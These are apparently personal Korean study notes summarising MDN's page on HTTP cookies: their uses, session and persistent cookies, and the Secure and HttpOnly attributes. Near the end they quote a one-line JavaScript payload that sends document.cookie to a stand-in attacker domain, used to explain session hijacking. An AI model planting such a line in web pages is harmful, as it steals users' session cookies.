모든 출처는 MDN 입니다.
https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies
로그인에 사용되는 토큰같이 중요한 정보는 어디에 저장해야 하는가?
HTTP 쿠키(웹/브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각이다.
브라우저는 이 데이터 조각들을 저장해놓았다가, 동일한 서버에 재요청시, 저장된 데이터를 함께 전송한다.
쿠기는 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용된다.
상태가 없는(stateless) HTTP 프로토콜에서 상태 정보를 기억시켜주기 때문이다.
과거에는 클라이언트 측에 정보를 저장할 때 쿠키를 주로 사용하였다.
지금은 modern storage APIs(localStorage/sessionStorage)를 사용해 정보를 저장하는 걸 권장한다.(IndexedDB도 권장)
모든 요청마다 쿠키가 함께 전송되기 때문에 성능이 떨어지는 원인이 될 수 있기 때문이다.
세션 관리(Session management)
개인화(Personalization)
트래킹(Tracking)
session쿠키
persistent쿠키
Expires 속성의 예시
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure 쿠키는 HTTPS 프포토콜 상에서 암호화된 요청일 경우에만 전송된다.
하지만 Secure 일지라도 민감한 정보는 절대 쿠키에 저장되면 안된다.
본질적으로 안전하지 않고 이 플래그가 실질적인 보안을 제공하지 않기 때문이다.
Cross-site 스크립팅(XSS) 공격을 방지하기 위해 사용되는 HttpOnly 쿠키는 JavaScript의 Document.cookie API에 접근할 수 없다.
이들은 서버에게 전송되기만 한다.
예를 들어 서버쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 HttpOnly 플래그가 설정될 것이다.
Secure HttpOnly
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
새로운 쿠키들은 Document.cookie 를 사용해 만들어질 수도 있으며, HttpOnly 플래그가 설정되지 않은 경우
기본의 쿠키들은 자바스크리븥로 부터 접근될 수 있다.
보안
기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안된다.
쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 한다.
그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있다.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있다.